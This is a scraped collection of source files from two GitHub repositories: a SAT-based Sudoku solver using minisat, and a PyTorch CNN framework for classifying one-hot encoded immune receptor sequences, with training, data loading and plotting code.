this.mainReadyPromise();\n } catch (error) {}\n this.loading = false;\n }\n}\n" }, { "alpha_fraction": 0.6733871102333069, "alphanum_fraction": 0.6733871102333069, "avg_line_length": 9.375, "blob_id": "4ed2d8c2cdb5096bbdc9141012eebc292bf2321c", "content_id": "b810ad758f0bd45e533b088a5861735f0aef8514", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 248, "license_type": "no_license", "max_line_length": 55, "num_lines": 24, "path": "/README.md", "repo_name": "samuelebischof-ch/sudoku-sat", "src_encoding": "UTF-8", "text": "# Sudoku\n## SAT Sudoku solver\n\nSudoku-solver implemented with SAT. Runs with Electron.\n\n![Image description](images/screenshot.png)\n\n## Install\n\n```\nnpm install\n```\n\n## Build\n\n```\nnpm run electron\n```\n\n## Create distributable\n\n```\nnpm run dist\n```" }, { "alpha_fraction": 0.5830600261688232, "alphanum_fraction": 0.6013891696929932, "avg_line_length": 26.268421173095703, "blob_id": "62742cd311d5cf81130095824af43eecd933e5c2", "content_id": "86624b6f2455bf86f51a8277adfe69c54239fa74", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 5183, "license_type": "no_license", "max_line_length": 97, "num_lines": 190, "path": "/sat/sudoku.py", "repo_name": "samuelebischof-ch/sudoku-sat", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python\n\n\nminisat=\"./minisat/minisat\"\n\nimport sys\nfrom subprocess import Popen\nfrom subprocess import PIPE\nimport re\nimport random\nimport os\n\ngbi = 0\nvarToStr = [\"invalid\"]\n\ndef printClause(cl):\n\tprint map(lambda x: \"%s%s\" % (x < 0 and eval(\"'-'\") or eval (\"''\"), varToStr[abs(x)]) , cl)\n\ndef gvi(name):\n\tglobal gbi\n\tglobal varToStr\n\tgbi += 1\n\tvarToStr.append(name)\n\treturn gbi\n\n# helper function to write clause\ndef cl(row,col,num):\n\treturn 'inSquare({},{},{})'.format(row,col,num)\n\ndef gen_vars(rows, columns, values):\n\n\t\tvarMap = {}\n\n\t\t# Save the 9 * 9 * 9 possible variables\n\t\t# every cell can have 9 possibility, there are 9 * 9 cells\n\t\tfor row in range(0, rows):\n\t\t\tfor col in range(0, columns):\n\t\t\t\tfor val in range(1, values + 1):\n\t\t\t\t\t\t\t\tvar_name=cl(row,col,val)\n\t\t\t\t\t\t\t\tvarMap[var_name] = gvi(var_name)\n\n\t\treturn varMap\n\ndef genSudokuConstr(rows, columns, values, vars, grid):\n\n\t\tclauses = []\n\n\t\t# Add fixed variable\n\t\tfor row in range(0, 9):\n\t\t\t\tfor col in range(0, 9):\n\t\t\t\t\t\t# for every field if there is already a number fix it\n\t\t\t\t\t\tval = grid[row][col]\n\t\t\t\t\t\tif val:\n\t\t\t\t\t\t\t\tclauses.append([vars[cl(row,col,val)]])\n\n\t\t# Iterate over every cell\n\t\tfor row in range(0, 9):\n\t\t\t\tfor col in range(0, 9):\n\t\t\t\t\t\t# Every cell has a number from 1 to 9\n\t\t\t\t\t\tclauses.append([vars[cl(row, col, val)] for val in range(1, 10)])\n\t\t\t\t\t\t# Every cell contains only one number\n\t\t\t\t\t\tfor valA in range(1, 10):\n\t\t\t\t\t\t\t\tfor valB in range(valA + 1, 10):\n\t\t\t\t\t\t\t\t\t\tclauses.append([-vars[cl(row, col, valA)], -vars[cl(row, col, valB)]])\n\n\t\t# Check for rows and columns with different values\n\t\tfor i in range(0,9):\n\t\t\tfor jA in range(0,9):\n\t\t\t\tfor val in range(1,10):\n\t\t\t\t\tfor jB in range(0,9):\n\t\t\t\t\t\tif (jA < jB):\n\t\t\t\t\t\t\tclauses.append([-vars[cl(i,jA,val)], -vars[cl(i,jB,val)]]) # rows\n\t\t\t\t\t\t\tclauses.append([-vars[cl(jA,i,val)], -vars[cl(jB,i,val)]]) # columns\n\n\t\t# Check for 3 x 3 squares with different values\n\t\tfor i in 0, 3, 6:\n\t\t\tfor j in 0, 3 ,6:\n\t\t\t\tfor iA in 0, 1, 2:\n\t\t\t\t\tfor jA in 0, 1 ,2:\n\t\t\t\t\t\tfor val in range(1,10):\n\t\t\t\t\t\t\tfor iB in 0, 1, 2:\n\t\t\t\t\t\t\t\tfor jB in 0, 1 ,2:\n\t\t\t\t\t\t\t\t\tif not (iA == iB and jA == jB):\n\t\t\t\t\t\t\t\t\t\tclauses.append([-vars[cl(i+iA,j+jA,val)], -vars[cl(i+iB,j+jB,val)]])\n\n\n\t\treturn clauses\n\n\n# A helper function to print the cnf header\ndef printHeader(n):\n\t\tglobal gbi\n\t\treturn \"p cnf %d %d\" % (gbi, n)\n\n# A helper function to print a set of clauses cls\ndef printCnf(cls):\n\t\treturn \"\\n\".join(map(lambda x: \"%s 0\" % \" \".join(map(str, x)), cls))\n\n# This function is invoked when the python script is run directly and not imported\nif __name__ == '__main__':\n\t\tif not (os.path.isfile(minisat) and os.access(minisat, os.X_OK)):\n\t\t\t\tprint \"Set the path to minisat correctly on line 4 of this file (%s)\" % sys.argv[0]\n\t\t\t\tsys.exit(1)\n\n\t\tsudokuInFile = \"/tmp/sat/sat/sudoku.in\"\n\t\tsudokuOutFile = \"/tmp/sat/sat/sudoku.out\"\n\t\trows = 9\n\t\tcolumns = 9\n\t\tvalues = 9\n\n\t\t# load sudoku from file to grid array\n\t\tgrid = []\n\t\tsudoku = open(sudokuInFile, \"r\")\n\t\tcounter = 0\n\t\ttempLine = []\n\t\tfor line in sudoku:\n\t\t\t\tfor word in line:\n\t\t\t\t\t\tif word.isdigit():\n\t\t\t\t\t\t\t\ttempLine.append(word)\n\t\t\t\t\t\t\t\tif (counter == 8):\n\t\t\t\t\t\t\t\t\t\tcounter = 0\n\t\t\t\t\t\t\t\t\t\tgrid.append(tempLine)\n\t\t\t\t\t\t\t\t\t\ttempLine = []\n\t\t\t\t\t\t\t\telse:\n\t\t\t\t\t\t\t\t\t\tcounter += 1\n\t\t\t\t\t\tif word == 'n':\n\t\t\t\t\t\t\t\ttempLine.append(None)\n\t\t\t\t\t\t\t\tif (counter == 8):\n\t\t\t\t\t\t\t\t\t\tcounter = 0\n\t\t\t\t\t\t\t\t\t\tgrid.append(tempLine)\n\t\t\t\t\t\t\t\t\t\ttempLine = []\n\t\t\t\t\t\t\t\telse:\n\t\t\t\t\t\t\t\t\t\tcounter += 1\n\n\n\t\tvars = gen_vars(rows, columns, values)\n\n\t\trules = genSudokuConstr(rows, columns, values, vars, grid)\n\n\t\thead = printHeader(len(rules))\n\t\trls = printCnf(rules)\n\n\t\t# here we create the cnf file for minisat\n\t\tfl = open(\"tmp_prob.cnf\", \"w\")\n\t\tfl.write(\"\\n\".join([head, rls]))\n\t\tfl.close()\n\n\t\t# this is for running minisat\n\t\tms_out = Popen([minisat, \"tmp_prob.cnf\", \"solution\"], stdout=PIPE).communicate()[0]\n\n\t\t# Print the output, just out of curiosity\n\t\tprint ms_out\n\n\t\t# minisat with these arguments writes the solution to a file called \"solution\". Let's check it\n\t\tres = open(\"solution\", \"r\").readlines()\n\n\t\t# if it was satisfiable, we want to have the assignment printed out\n\t\tif res[0] == \"SAT\\n\":\n\t\t\t\t# First get the assignment, which is on the second line of the file, and split it on spaces\n\t\t\t\tasgn = map(int, res[1].split())\n\t\t\t\t# Then get the variables that are positive, and get their names.\n\t\t\t\t# This way we know that everything not printed is false.\n\t\t\t\t# The last element in asgn is the trailing zero and we can ignore it\n\t\t\t\tfacts = map(lambda x: varToStr[abs(x)], filter(lambda x: x > 0, asgn[:-1]))\n\n\t\t\t\t# initialize array\n\t\t\t\tsolution = []\n\t\t\t\tfor i in range(0,9):\n\t\t\t\t\t\tline = []\n\t\t\t\t\t\tfor j in range(0,9):\n\t\t\t\t\t\t\t\tline.append(None)\n\t\t\t\t\t\tsolution.append(line)\n\t\t\t\tcounter = 0\n\n\t\t\t\t# add values to array\n\t\t\t\tfor f in facts:\n\t\t\t\t\t\trow = int(f[9])\n\t\t\t\t\t\tcolumn = int(f[11])\n\t\t\t\t\t\tvalue = f[13]\n\t\t\t\t\t\tsolution[row][column] = value\n\n\t\t\t\t# print solution to file\n\t\t\t\tout = open(sudokuOutFile, \"w\")\n\t\t\t\tfor i in range(0, len(solution)):\n\t\t\t\t\t\tprint solution[i]\n\t\t\t\t\t\tfor j in range(0, len(solution[i])):\n\t\t\t\t\t\t\t\tif (solution[i][j]):\n\t\t\t\t\t\t\t\t\t\tout.write(str(solution[i][j]) + \"\\n\")\n\t\t\t\t\t\t\t\telse:\n\t\t\t\t\t\t\t\t\t\tout.write(\"n\\n\")\n\n\n" } ]
5
alhusa/CNNFrameworkReceptorData
https://github.com/alhusa/CNNFrameworkReceptorData
3826184afc5e95293b03acf29433116f5ccb02c5
bf8576c40caa82311bc74ae830aec8f64676cc8b
c9a4f3a02fe9b04b0ba20274482b7751ffa3f3dc
refs/heads/master
2022-12-15T14:58:10.116359
2020-09-09T10:28:09
2020-09-09T10:28:09
294,046,132
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.5675675868988037, "alphanum_fraction": 0.5903716087341309, "avg_line_length": 27.80487823486328, "blob_id": "98cde32773bb9fdc1acb816296defd348d179d4b", "content_id": "0a312efc69b9604d3355b16a8181dfed50550134", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1184, "license_type": "no_license", "max_line_length": 94, "num_lines": 41, "path": "/code/Models.py", "repo_name": "alhusa/CNNFrameworkReceptorData", "src_encoding": "UTF-8", "text": "import torch.nn as nn\nimport torch.nn.functional as F\nimport numpy as np\n\ndef calc_output(input_size, padding, kernel_size):\n for kernel in kernel_size:\n output = []\n for n in input_size:\n\n output.append(n + 2 * padding - (kernel - 1))\n input_size = output\n return output, int(np.prod(output))\n\n\n\n\n\nclass CNN_relu(nn.Module):\n def __init__(self, input_size, padding=0):\n '''\n A simple CNN with relu.\n '''\n super(CNN_relu, self).__init__()\n kernel_size = [5, 5, 5]\n self.dense_input_dim, self.dense_input = calc_output(input_size, padding, kernel_size)\n self.conv1 = nn.Conv2d(in_channels=1, out_channels=3, kernel_size=5)\n self.conv2 = nn.Conv2d(in_channels=3, out_channels=5, kernel_size=5)\n self.conv3 = nn.Conv2d(in_channels=5, out_channels=1, kernel_size=5)\n self.fc1 = nn.Linear(in_features=(self.dense_input), out_features=2)\n\n\n def forward(self, X,batch_size):\n\n X = F.relu(self.conv1(X))\n X = F.relu(self.conv2(X))\n X = F.relu(self.conv3(X))\n\n X = X.reshape((batch_size,self.dense_input))\n X = self.fc1(X)\n\n return X\n\n\n\n" }, { "alpha_fraction": 0.6784566044807434, "alphanum_fraction": 0.6784566044807434, "avg_line_length": 25, "blob_id": "4c82e8062210402c33d9d490ed665ed08dd458a0", "content_id": "c797360cf98cb3ce9a9c8160215a59b355498b38", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 311, "license_type": "no_license", "max_line_length": 89, "num_lines": 12, "path": "/code/Optimizer.py", "repo_name": "alhusa/CNNFrameworkReceptorData", "src_encoding": "UTF-8", "text": "import torch\n\n\ndef sgd(config, model):\n '''\n Creates a PyTorch SGD optimiser.\n\n :param config: Dict containing program parameters.\n :param model: The current ML model.\n :return: The optimizer class.\n '''\n return torch.optim.SGD(model.parameters(), lr=config['hyper_param']['learning_rate'])" }, { "alpha_fraction": 0.6762589812278748, "alphanum_fraction": 0.6762589812278748, "avg_line_length": 22.25, "blob_id": "c9017076169805ac542e6b6c2ebce5aafa68daa0", "content_id": "9b9ecda13b5ef0c5f23e1ab7493495a2775abba4", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 278, "license_type": "no_license", "max_line_length": 49, "num_lines": 12, "path": "/code/LossFunction.py", "repo_name": "alhusa/CNNFrameworkReceptorData", "src_encoding": "UTF-8", "text": "import torch.nn.functional as F\n\n\n\ndef cross_entropy(pred, labels):\n '''\n Uses the pytorch cross entropy loss function.\n :param pred: Predicted labels.\n :param labels: True labels.\n :return: The cross entropy loss.\n '''\n return F.cross_entropy(pred, labels)" }, { "alpha_fraction": 0.684382975101471, "alphanum_fraction": 0.6847469806671143, "avg_line_length": 30.125, "blob_id": "a1aff5bb087d44d8fd17574f17f4d8a27a591a41", "content_id": "05758a2d173c0179cad117c7cd9aa4c6f6bb8a67", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2747, "license_type": "no_license", "max_line_length": 92, "num_lines": 88, "path": "/code/start.py", "repo_name": "alhusa/CNNFrameworkReceptorData", "src_encoding": "UTF-8", "text": "import numpy as np\nimport os\nimport torch\nimport yaml\n\nfrom Plotting import Plot\nfrom Run import Run\nfrom Visualisation import Vis\nimport Models\nimport LossFunction\nimport Optimizer\nimport DirManagement\nfrom DatasetLoader import OnehotDatasetSplit\n\n\n\n# Path for specification file.\nspesification_file = '../Specification.yaml'\n\n# Opens the file and loads it as a dict.\nwith open(spesification_file, \"r\") as file:\n main_config = yaml.load(file, Loader=yaml.FullLoader)\n\nconfig = main_config['model_config']\n\n# Adds the root path to the file names\nDirManagement.make_root_paths(config)\n\n# Makes paths/folders to save figures and models.\nif config['plot']['save_fig']:\n DirManagement.make_path(config, 'plot', 'plot_folder_name')\nif config['utils']['save_model']:\n DirManagement.make_path(config, 'utils', 'save_model_name')\n\n# Changes some of the parameters in the config file if a pre trained model is used.\nif config['pre_trained']['use_saved_model']:\n DirManagement.pre_train_config(config)\n\n\n# Model type parameters\ntype_config = config['model_param']\nmodel_type = type_config['model_type']\nloss_type = type_config['loss_type']\noptimizer_type = type_config['optimizer_type']\n\n# Get the training and test data\ntrain_data, test_data = OnehotDatasetSplit(config['paths']['dataset_path'],\n config['hyper_param']['test_split_pr'],\n config['hyper_param']['batch_size'],\n config['hyper_param']['max_data'])\n\n# Create a model.\nmodel = getattr(Models, model_type)(test_data.dataset.data.shape[2:])\n\n# Define a optimizer\noptimizer = getattr(Optimizer, optimizer_type)(config, model)\n\n# Get a loss function\nloss_fn = getattr(LossFunction, loss_type)\n\n# Class creation\nPlot = Plot(config, model, optimizer)\nRun = Run(config, Plot)\n\n# Loads information from pre trained model\nif config['pre_trained']['use_saved_model']:\n # Load the stored information\n stored_model_info = torch.load(config['pre_trained']['path_saved_model'] + '/model.pth')\n\n model.load_state_dict(stored_model_info['model_state_dict'])\n optimizer.load_state_dict(stored_model_info['optimizer_state_dict'])\n\nif config['utils']['train_model']:\n Run.train_model(model, optimizer, loss_fn,train_data, test_data)\n\n#Run.test_model(model, optimizer, loss_fn, train_data, test_data)\n\n\n# Run the specified visualisations.\nif config['utils']['run_vis']:\n num = main_config['visual']['num']\n vis = Vis(config,Plot, train_data, test_data, num)\n del main_config['visual']['num']\n for key, value in main_config['visual'].items():\n vis_config = value\n vis_func = getattr(vis, key)\n\n vis_func(vis_config,model)\n\n\n\n\n\n\n\n\n" }, { "alpha_fraction": 0.4946666657924652, "alphanum_fraction": 0.5253333449363708, "avg_line_length": 32.33333206176758, "blob_id": "f538ce582e89a15067c663fd92b21e24932d943c", "content_id": "fccbefc82b290976c84d966a7d826a42626c15b0", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1500, "license_type": "no_license", "max_line_length": 125, "num_lines": 45, "path": "/code/OnehotEncoding.py", "repo_name": "alhusa/CNNFrameworkReceptorData", "src_encoding": "UTF-8", "text": "import pickle\nimport numpy as np\n\n# Dict to give a vaule to each amino acid for onehot encoding.\namino_to_num = {'A': 0, 'R': 1, 'N': 2, 'D': 3, 'B': 4, 'C': 5, 'E': 6,\n 'Q': 7, 'Z': 8, 'G': 9, 'H': 10, 'I': 11, 'L': 12,\n 'K': 13, 'M': 14, 'F': 15, 'P': 16, 'S': 17, 'T': 18,\n 'W': 19, 'Y': 20, 'V': 21, '*': 22}\n\n# num_to_amino = ['A', 'R', 'N', 'D', 'B', 'C', 'E',\n# 'Q', 'Z', 'G', 'H', 'I', 'L',\n# 'K', 'M', 'F', 'P', 'S', 'T',\n# 'W', 'Y', 'V', '*']\n\n\n# Loads the data augmented by a function in ImmuneML.\nfilename = '/Users/ahusa/Documents/bio_master/master_thesis/data/from_immuneML/real_individual.pickle'\nsequences = pickle.load(open(filename, 'rb'))\n\n# Array to store data\ndata = np.zeros((len(sequences), 1, 23, 25))\nlabel = np.zeros(len(sequences))\n\n# One hot encodes the data\nfor i in range(len(sequences)):\n j = 0\n for char in sequences[i]:\n if char == '0' or char == '1':\n label[i] = int(char)\n break\n data[i, :, amino_to_num[char], j] = 1\n j += 1\n\n# Shuffle the data.\nindices = list(range(len(label)))\nnp.random.shuffle(indices)\n\ndata = data[indices, :, :, :]\nlabel = label[indices]\n\n\n# Stores the one hot encoded data as a pickle file.\nwith open('/Users/ahusa/Documents/bio_master/master_thesis/data/onehot_encoded/onehot_real_individual.pickle', 'wb') as file:\n pickle.dump(data, file)\n pickle.dump(label, file)\n" }, { "alpha_fraction": 0.5432279109954834, "alphanum_fraction": 0.544201135635376, "avg_line_length": 35.67856979370117, "blob_id": "b1667ca75cac151cd11640fceeb97753a02cb699", "content_id": "818f2d08ff4d13acc85e1ec333fcded15019723f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 6165, "license_type": "no_license", "max_line_length": 116, "num_lines": 168, "path": "/code/Run.py", "repo_name": "alhusa/CNNFrameworkReceptorData", "src_encoding": "UTF-8", "text": "import torch\nimport numpy as np\nimport yaml\n\nimport Plotting as plot\nfrom DirManagement import make_path\nclass Run():\n '''\n Class that trains or evaluates the models.\n '''\n def __init__(self, config, Plot):\n '''\n Stores information from the config in the class.\n\n :param config: Dict containing program parameters.\n :param Plot: An object of the Plot class.\n '''\n self.n_epoch = config['hyper_param']['n_epoch']\n self.verbose = config['utils']['verbose']\n self.save_model = config['utils']['save_model']\n self.save_model_path = config['utils']['save_model_name']\n self.Plot = Plot\n self.config = config\n\n def run_epoch(self, model, optimizer, loss_function, n_epoch, data_loader, is_training, verbose=True):\n '''\n Runs the model for one epoch using batches.\n\n :param model: The model that is used.\n :param n_epoch: The number of the epoch.\n :param data_loader: The input data.\n :param optimizer: A torch optimizer.\n :param is_training: A boolean. If the model is training or not.\n :param verbose: A boolean. Whether to print information while running.\n :return: Average loss and accuracy for the epoch.\n '''\n\n # Sets the model for training or evaluation mode\n # Not needed for models without layers that work differently during training and testing\n if is_training: model.train()\n else: model.eval()\n\n total_correct = 0\n total_loss = 0\n for batch_ind, batch_data in enumerate(data_loader):\n data = batch_data[0]\n labels = batch_data[1]\n batch_size = len(labels)\n\n if is_training:\n # Runs the model forwards.\n pred = model.forward(data,batch_size)\n\n # Claculates the loss and adds it to the total loss.\n loss = loss_function(pred, labels)\n total_loss += loss.item()#.detach().numpy()\n\n # Set the gradients to zero.\n optimizer.zero_grad()\n\n # Performs the backward propagation.\n loss.backward()\n\n # Updates the weights\n optimizer.step()\n else:\n # Deactivates the autograd engine.\n with torch.no_grad():\n # Runs the model forwards.\n pred = model.forward(data,batch_size)\n\n # Calculates the loss and adds it to the total loss.\n loss = loss_function(pred, labels)\n total_loss += loss.item()#.detach().numpy()\n\n\n # Finds the number of correct labels.\n pred_labels = pred.max(1, keepdim=False)[1]\n total_correct += pred_labels.eq(labels).sum().numpy()\n\n\n # Finds the average loss and accuracy for the epoch.\n avg_loss = total_loss / len(data_loader)\n accuracy = total_correct / len(data_loader.dataset)\n\n # Prints information\n if verbose:\n if is_training:\n print('Training')\n else:\n print('Testing')\n print(f'Average loss for epoch {n_epoch} is {avg_loss}')\n print(f'Accuracy for epoch {n_epoch} is {accuracy}\\n')\n\n\n return avg_loss, accuracy\n\n\n def train_model(self, model, optimizer, loss_fn, train_data, test_data):\n '''\n Trains the model for the given number of epochs. Saves the model if chosen in specs. Makes some simple plots\n if chosen in the specs.\n\n :param config: Dict containing program parameters.\n :param model: The current model\n :param optimizer: The current optimizer.\n :param loss_fn: The loss function used.\n :param train_data: The data the model should be trained on.\n :param test_data: The data the model should be tested on.\n :return:\n '''\n\n\n\n\n #Create array to store data\n train_loss = np.empty(self.n_epoch)\n train_acc = np.empty(self.n_epoch)\n test_loss = np.empty(self.n_epoch)\n test_acc = np.empty(self.n_epoch)\n\n for epoch in range(self.n_epoch):\n train_loss[epoch], train_acc[epoch] = self.run_epoch(model, optimizer, loss_fn,\n epoch, train_data, is_training=True,\n verbose=self.verbose)\n test_loss[epoch], test_acc[epoch] = self.run_epoch(model, optimizer, loss_fn,\n epoch, test_data, is_training=False,\n verbose=self.verbose)\n\n\n\n\n if self.save_model:\n torch.save({\n 'model_state_dict': model.state_dict(),\n 'optimizer_state_dict': optimizer.state_dict(),\n }, self.save_model_path + 'model.pth')\n\n with open(self.save_model_path + 'ModelSpesification.yaml', 'w') as file:\n yaml.dump(self.config, file, default_flow_style=False)\n\n\n\n\n self.Plot.loss_plot(train_loss, test_loss)\n self.Plot.acc_plot(train_acc, test_acc)\n\n\n def test_model(self, model, optimizer, loss_fn, test_data):\n '''\n Test the model for the given number of epochs.\n\n :param config: Dict containing program parameters.\n :param model: The current model\n :param optimizer: The current optimizer.\n :param loss_fn: The loss function used.\n :param test_data: The data that should be tested.\n :return:\n '''\n\n # Create array to store data\n test_loss = np.empty(self.n_epoch)\n test_acc = np.empty(self.n_epoch)\n\n for epoch in range(self.n_epoch):\n test_loss[epoch], test_acc[epoch] = self.run_epoch(model, optimizer, loss_fn,\n epoch, test_data, is_training=False,\n verbose=self.verbose)\n\n\n\n" }, { "alpha_fraction": 0.6412866711616516, "alphanum_fraction": 0.6441367864608765, "avg_line_length": 30.063291549682617, "blob_id": "309b4ee89f931f6c41a231e9d28c7898c2a59c95", "content_id": "d1be03fd7dd51edf9aa5d07403a10b0cecfffeba", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2456, "license_type": "no_license", "max_line_length": 141, "num_lines": 79, "path": "/code/DatasetLoader.py", "repo_name": "alhusa/CNNFrameworkReceptorData", "src_encoding": "UTF-8", "text": "import torch.utils.data as data\nimport pickle\nimport numpy as np\nimport torch\n\nclass OnehotDataset(data.Dataset):\n \"\"\"\n The pytorch dataloader class. Loads the one hot encoded dataset:\n :param:\n \"\"\"\n def __init__(self, data,labels):\n\n self.data = torch.from_numpy(data).float()\n self.labels = torch.from_numpy(labels).long()\n\n def __len__(self):\n \"\"\"\n :return: The number of samples\n \"\"\"\n return len(self.labels)\n\n def __getitem__(self, index):\n \"\"\"\n Get an item from the dataset using the given index:\n :param index:\n :return:\n \"\"\"\n return self.data[index], self.labels[index]\n\n\ndef OnehotDatasetSplit(dataset_path, split_percent, batch_size, max_data = 100000):\n '''\n Splits the one hot encoded dataset into training and test data. Uses the PyTorch dataloader.\n :param datasetPath: Path to the one hot encoded dataset.\n :param split_percent: The percentage of the data that should be used for testing.\n :param batch_size: The size of the batches.\n :return: A test and a train dataset.\n '''\n\n\n # Opens the file specified\n file = open(dataset_path, 'rb')\n\n # Loads the data from file.\n data = pickle.load(file)\n labels = pickle.load(file)\n\n\n # Creates and shuffles indices.\n indices = list(range(len(labels)))\n np.random.shuffle(indices)\n\n data = data[indices, :, :, :]\n labels = labels[indices]\n\n data = data[:max_data, :, :, :]\n labels = labels[:max_data]\n\n indices = list(range(len(labels)))\n np.random.shuffle(indices)\n\n print(split_percent)\n if split_percent != 0:\n # Creates a index which splits the dataset according to the split percentage.\n split = int(split_percent * len(labels))\n\n # Splits the indices into training and testing indices.\n train_ind = indices[split:]\n test_ind = indices[:split]\n\n # Loads a training and testing set using the one hot dataloader.\n load_train = torch.utils.data.DataLoader(OnehotDataset(data[train_ind,:,:,:],labels[train_ind]), batch_size=batch_size, shuffle=True)\n load_test = torch.utils.data.DataLoader(OnehotDataset(data[test_ind,:,:,:],labels[test_ind]), batch_size=batch_size, shuffle=True)\n else:\n load_test = torch.utils.data.DataLoader(OnehotDataset(data,labels), batch_size=batch_size, shuffle=False)\n load_train = None\n\n\n return load_train,load_test\n\n\n" }, { "alpha_fraction": 0.5375534892082214, "alphanum_fraction": 0.5483201742172241, "avg_line_length": 38.134517669677734, "blob_id": "ac443b46aca310f02e2c7a2cd412acdcd2da23bf", "content_id": "8a0e286c84ad6ac6e7182ad6bd9ecadee3b88136", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 15418, "license_type": "no_license", "max_line_length": 128, "num_lines": 394, "path": "/code/Plotting.py", "repo_name": "alhusa/CNNFrameworkReceptorData", "src_encoding": "UTF-8", "text": "import matplotlib.pyplot as plt\nimport seaborn\nimport numpy as np\nfrom DirManagement import make_folder\nimport matplotlib.gridspec as gridspec\nimport torch\n\n\nclass Plot():\n '''\n Class for plotting information from the different methods.\n '''\n def __init__(self, config, model, optimizer):\n '''\n Stores information from the config in the class.\n\n :param config: Dict containing program parameters.\n '''\n\n self.save_fig = config['plot']['save_fig']\n self.path = config['plot']['plot_folder_name']\n self.verbose = config['utils']['verbose']\n\n if self.save_fig: self.store_model_info(model,optimizer)\n\n def store_model_info(self, model,optimizer):\n '''\n Store information about the model used in the plot folder.\n :param model: The model used.\n :param optimizer: The optimizer used.\n :return:\n '''\n\n # Open the file and writes the model information in the file.\n with open(self.path + 'model_info.txt', \"w+\") as file:\n file.write(str(model)+'\\n')\n file.write(str(optimizer))\n def save_info_acc_loss(self, train_data, test_data, type_data):\n '''\n Stores aaccuracy and loss information to a file\n :param train_data: Training data to be stored.\n :param test_data: Testing data to be stored.\n :param type_data: What type of data is stored.\n :return:\n '''\n\n with open(self.path + 'run_info.txt', \"a+\") as file:\n file.write(f'{type_data} for each epoch:\\n')\n file.write(f'There are {train_data.shape[0]} epochs.\\n')\n file.write('Train data:\\n')\n np.savetxt(file, train_data, delimiter=',')\n file.write(f'Last value: {train_data[len(train_data)-1]}. Max value: {np.max(train_data)}. \\n'\n f'Min value: {np.min(train_data)}. Mean value: {np.mean(train_data)}. \\n'\n f'Standard deviation: {np.std(train_data)}\\n\\n')\n file.write('Test data:\\n')\n np.savetxt(file, test_data, delimiter=',')\n file.write(f'Last value: {test_data[len(train_data) - 1]}. Max value: {np.max(test_data)}. \\n'\n f'Min value: {np.min(test_data)}. Mean value: {np.mean(test_data)}. \\n'\n f'Standard deviation: {np.std(test_data)}\\n\\n\\n')\n\n def loss_plot(self, train_loss, test_loss):\n '''\n Plots the average loss for each epoch for the test and train data. Saves the figure if chosen in specs and shows\n the figure if verbose is true.\n\n :param config: Dict containing information about how the program is run.\n :param train_loss: Average loss of the training data.\n :param test_loss: Average loss of the test data.\n :return:\n '''\n\n # Creates a array with the length of the number of epochs.\n x = np.arange(len(train_loss))\n\n # Plots a simple line plot\n plt.figure()\n plt.title('Average loss for each epoch')\n plt.plot(x, train_loss, 'g', label='Train')\n plt.plot(x, test_loss, 'r', label='Test')\n plt.xlabel('Epoch')\n plt.ylabel('Average loss')\n\n # Gets the path of the folder to and saves the figure in the folder if chosen in the specs.\n if self.save_fig:\n self.save_info_acc_loss(train_loss, test_loss, 'Loss')\n plt.savefig(self.path + 'avg_loss_plot')\n\n # Shows the plot if verbose is true.\n if self.verbose:\n plt.show()\n plt.close()\n\n def acc_plot(self, train_acc, test_acc):\n '''\n Plots the average accuracy for each epoch for the test and train data. Saves the figure if chosen in specs and shows\n the figure if verbose is true.\n\n :param train_loss: Average loss of the training data.\n :param test_loss: Average loss of the test data.\n :return:\n '''\n\n # Creates a array with the length of the number of epochs.\n x = np.arange(len(train_acc))\n\n # Plots a simple line plot\n plt.figure()\n plt.title('Average accuracy for each epoch')\n plt.plot(x, train_acc, 'g', label='Train')\n plt.plot(x, test_acc, 'r', label='Test')\n plt.xlabel('Epoch')\n plt.ylabel('Average accuracy')\n\n # Gets the path of the folder to and saves the figure in the folder if chosen in the specs.\n if self.save_fig:\n self.save_info_acc_loss(train_acc, test_acc, 'Accuracy')\n plt.savefig(self.path + 'avg_acc_plot')\n\n # Shows the plot if verbose is true.\n if self.verbose:\n plt.show()\n plt.close()\n\n def plot_max_input(self, input, iter, annotation, gen_seq):\n '''\n Plot a map showing the maximum input.\n :param input: Data to be plotted.\n :param label: The label for the input.\n :param annotation: Annotation for the plots.\n :param iter: How many iterations used.\n :return:\n '''\n plt.figure()\n fig, ax = plt.subplots(1,1)\n ax.imshow(input)\n plt.title(f'Heatmap of the maximum input')\n ax.set_yticks(np.arange(len(annotation)))\n ax.set_yticklabels(annotation)\n ax.set_xticks(np.arange(len(gen_seq)))\n ax.set_xticklabels(gen_seq)\n plt.xlabel('Input seq')\n plt.ylabel('Amino acid')\n\n # Gets the path of the folder to and saves the figure in the folder if chosen in the specs.\n if self.save_fig:\n plot_dir = self.path + 'max_input/'\n if iter == 0:\n make_folder(plot_dir)\n plt.savefig(plot_dir + f'max_input_{iter}')\n\n # Shows the plot if verbose is true.\n if self.verbose:\n plt.show()\n plt.close()\n def saliency_map_plot(self, input, num_sal, label, annotation, guided, input_seq, input_sal):\n '''\n Plot saliency maps.\n :param input: Data to be plotted.\n :param num_sal: Numper of maps.\n :param label: The label for the input.\n :param annotation: Annotation for the plots.\n :param guided: If guided backprop is used or not.\n :param input_seq: The input sequence that was used.\n :return:\n '''\n\n for i in range(num_sal):\n\n fig = plt.figure()#constrained_layout=True)# figsize=(10*ratio,10))\n widths = [20]\n heights = [22,1]\n spec = fig.add_gridspec(ncols=1, nrows=2, width_ratios=widths,\n height_ratios=heights)\n ax1 = fig.add_subplot(spec[0, 0])\n ax2 = fig.add_subplot(spec[1, 0])\n\n\n vmax = torch.max(input[i])\n vmin = torch.min(input[i])\n im1 = ax1.imshow(input[i], cmap=plt.cm.hot, vmin=vmin, vmax=vmax)\n im2 = ax2.imshow(input_sal[i][None,:], cmap=plt.cm.hot, vmin=vmin, vmax=vmax)\n\n 